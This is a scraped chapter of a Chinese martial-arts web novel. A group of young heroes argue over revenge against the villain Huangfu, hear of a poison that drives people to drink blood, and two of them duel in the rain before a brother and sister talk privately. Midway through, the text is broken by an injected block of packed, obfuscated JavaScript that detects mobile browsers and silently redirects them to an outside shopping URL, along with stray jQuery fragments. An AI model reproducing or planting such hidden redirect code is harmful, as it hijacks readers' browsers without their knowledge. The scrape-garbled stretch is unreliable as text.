“祖奶奶喜欢游历江湖,祖爷爷便随她同游天地,所见所闻皆收录在册,百年之后存于家中书阁。”
“我幼时极喜爱翻阅,也在书册之中见到了当年神女宫的武功身法。”
说着秦素萱挠头道,“我小时候见神女步使起来好看,还偷偷练过。”
只不过被祖父发现后狠狠教训了一顿,这些她自不会与他们说。
「神女宫与浮雪教竟有如此渊源,难怪,她的轻功竟与师父的身法有些神似。」
苏长念暗叹,见秦素萱灵动纯善,眼眸清明,她心底的那些敌意不免稍散。
“得知神女宫余孽贼心不死,竟还秘密炼制九曲归元丹,这我怎么能袖手旁观?”
秦素萱拍桌子冷哼道,“五十年前魔教利用九曲归元丹掀起了多大的乱子?说什么我也要捣了朱雀堂!”
东方西门二人与她一拍即合,之后三人联手潜入朱雀堂,想要毁了炼药房。
只是朱雀堂蛰伏百年,为的就是炼制此药,又怎会轻易让人破坏。
他们三人刚刚潜入药房,便被朱雀堂的人发现,三人只能分头行动。
东方西门引开他们,秦素萱再趁机捣毁药房。
“诶呦!”
秦素萱说着忽然拍头道,“瞧我,竟差点忘了这事!”
“怎么了?”
西门月疑惑,秦素萱连连拍腿懊恼道。
“我偷听到了一个黑衣人与朱雀堂主方晓霜的对话!”
“那黑衣人说,‘奉四皇子之命来取血魔疯癫丸’。”
众人不由面面相觑,沈飞奇道。
“血魔疯癫丸?那是什么?”
秦素萱凝眸道,“那是极阴毒的毒药。”
“中了此毒的人,会变得疯疯癫癫,狂性大发,只有饮下活人热血方可暂时压制。”
此言一出,众人心头皆是一震。
“那这么说来,服下此毒的人,不就变成了嗜血的恶魔?!”
南宫羽惊道,秦素萱点头。沈飞眉头紧锁,问道。
“那黑衣人所说的四皇子又是谁?他会用这毒去害谁呢?”
“左不过,是一些宫闱秽事罢了,管他作甚?”
东方阎冷笑道,苏长念看了眼神情各异的几人。
“此事与我们也无甚关系,为今之计更重要的是要提防皇甫。”
“念念说得对。”
苏长宁点头,“这段时间以来,皇甫一直没有与我们正面交手,我想,她也想利用我们,寻找到另外的钥匙与地图。”
“如今四块钥匙齐聚,接下来,必有一场恶战。”
房间内酒香弥漫,炉火正旺,但苏长宁的话却让众人心中一沉,也无暇去想血魔疯癫丸一事。
西门月看了看沉默的几人,率先道。
“虽然玄武令并未落入皇甫之手,但北冥靖手中的那块地图却不翼而飞,我想,应当就在她手中。”
“我要杀了她!”
南宫羽咬牙道,“她害死了我的爹娘,杀了我南宫家上下几十口!”
“此仇不报,妄为人子!”
少年双目赤红浑身颤栗,压抑的恨意让他面容扭曲,一双淬毒的双眼死死盯着面前酒杯,似乎仇人就在眼前。
“皇甫身边高手如云,便是找到了她,你又如何报仇?”
苏长宁冷声道,“况且,她的目的就是你们手中的钥匙与地图。”
“你们若是主动送上门,那可是大大省了力气。”
“苏长宁!”
南宫羽怒道,“那依你之言,灭门之仇我便应该就此算了吗?!”
“我说过。”
苏长宁道,“你们的先祖夺了皇甫家的江山,又令她们世代短命。”
“如今皇甫后人灭了你们,也算是一报还一报。若真要清算,只怕你们欠的更多吧?”
“你!”
南宫羽拍案而起,见他们要吵起来,沈飞忙按住他的手臂笑道。
“长宁说话不中听你又不是不知道?何必与他生气?”
“哥哥。”
苏长念也拉着兄长的手微微摇头,见南宫羽眼眶含泪,抿了抿唇道。
“当务之急,应当尽快带着剩下的钥匙与地图藏起来,绝不能落入皇甫之手。”
“阿羽。”
苏长念柔声道,“你忘了你爹爹临终之托吗?”
“如今,保护好你自己,不让皇甫得逞,这才是最重要的。”
看着面前少女,南宫羽既悲又痛,甩开沈飞便冲出了房间。
“诶!”
沈飞看了眼少女柔声道,“不用担心,我会保护好阿羽。”
见他纵身追出,苏长念看了看东方阎几人,心中一叹。
“苏姑娘说的不错。”
西门月冷静道,“皇甫一定在暗处监视着我们,如今只怕已经得到消息,我们需得尽快离开此地。”
窗外已暮色沉沉,北风鸣鸣,不难想象不久之后便会有大雨降临。
“看这天色,暴雨转瞬即来。”
秦素萱思索道,“今日我们与朱雀堂这一战,想必不久便会有人围堵莫州城。”
“与其冒雨赶路,倒不如以逸待劳。”
西门月点头赞同,“萱儿说的有道理,最危险的地方就是最安全的地方,我们何不留在此地,待风雨过后再决定要去哪里。”
东方阎点了点头,瞥了眼窗口抱剑而立的少年淡淡道。
“此事是我四家族自己的事,不敢牵连二位,请吧。”
苏长念脸上笑意不变,并不在意他的敌意。
“烟雨阁重信守诺,「雪飞双」既接了南宫谷主的任务,便一定会完成。”
苏长宁眉头微皱,扭头看向妹妹。
“况且,如今天色已晚,眼看大雨将至,东方少侠莫不是要我们兄妹二人冒雨赶路?”
东方阎冷哼道,“你们要去要留与我无关,我也没兴趣管。”
“只是。”
东方阎眼眸微眯,看向少女的视线带着杀意。
“你若再阻碍我,我手中的剑定不会饶你!”
“赤影剑。”
苏长宁瞥了眼他手中的剑冷冷道,“剑倒是好剑,只可惜主人愚昧无知,愚蠢至极,平白污了此剑。”
“唰!”
赤影骤然闪过,只听“当”的一声,屋中已无二人身影。
“咔嚓——”
闪电划破夜空,倾盆大雨洪泄而下,眨眼间小院内雷声雨声剑声嘈杂不止。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441688|201055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
东方阎剑法精妙,苏长宁内力雄厚,二人兀一交手便为对方震动。
不过几息之间,二人已过了数十招,皆是越战越勇。
苏长念拧眉看向院内二人,纵身提剑挑开二人手中的剑。
她这一击身法灵动,借力打力,四两拨千斤地挑飞了东方阎的剑。
东方阎心中一惊,翻身抓住空中的剑翻身落下,刚要再刺向二人,却被西门月抓住手腕。
“别闹了。”
西门月沉声道,“这附近都是百姓,你想引人注意吗?”
“我!”
东方阎张了张嘴,瞪了眼收起剑的少年,不情不愿地跟着西门月返回廊下。
“如今天色已晚,各位不若回房休息,有什么事,待明日再行商议也不迟。”
西门月道,看了眼扭头就走的东方阎,与兄妹二人微微颔首,便携秦素萱而去。
“念念,我去给你烧水。”
看了眼少女身上的水珠,苏长宁刚要往厨房去,却被她拉回房间。
……
“哥哥。”
苏长念坐在镜前看着镜子里正为她擦拭发丝的少年,无奈道。
“这些日子以来,我能感觉到,你早已将阿羽看做是我们的朋友,我不明白,你方才为何要说那样的话?”
失去亲人的痛苦,他们再了解不过,苏长念不明白,他为何要在南宫羽伤口处再剜上一刀。
苏长宁动作一顿,对上镜子里少女不解的目光,抿了抿唇,抚摸着她已经干燥的发丝低声道。
“念念,我不能失去你。”
屋外风雨如晦,强风劲雨不停地拍打着窗口。摇曳的烛火映出一高一矮的影子,颤抖地如同无依的游魂。
“我不知道皇甫身边都有些什么人,但是,若是对上他们,必定是一场恶战。”
少年的声音低沉喑哑,苏长念眼眸微垂,心中越发温热。
“师父他,不愿教我们更多武功,只凭我如今的功夫,我……”
苏长宁咬着唇,星眸中满是不安。
“我,害怕。”
苏长念蹭了蹭兄长的脸颊,感受着身后温暖却又微微发抖的怀抱,望着镜子里一般无二的面容,柔声道。
“哥哥,我明白了。”
少年高大修长的身躯早已脱离了幼时的稚弱,可苏长念知道,兄长待她的关切,心底埋藏的恐惧不安,与从前没有任何分别。
两个月来,他们遭遇了不知道多少次攻击与埋伏,受的伤虽浅,却一点点刻入了苏长宁心底,牵引着那从未淡忘的恐惧。
苏长宁收紧双臂,闭着眼睛歪头蹭着少女颈窝。
“我也不想伤害南宫羽,可是,我更不想让你置身危险。”
“我明白。”
苏长念歪了歪头,二人抵着脑袋,望向镜子里的自己。
“左右,我们也找到了东方阎西门月,南宫贺的嘱托也算完成。”
“哥哥,我们明日便回去吧。”
苏长宁眼底一亮,侧过脸看向她。
“你不生我的气吗?”
苏长念微微一笑,“我应该生气吗?”
苏长宁嘴唇微动,眼眸闪烁地移开目光。
“明日,我会向他道歉。”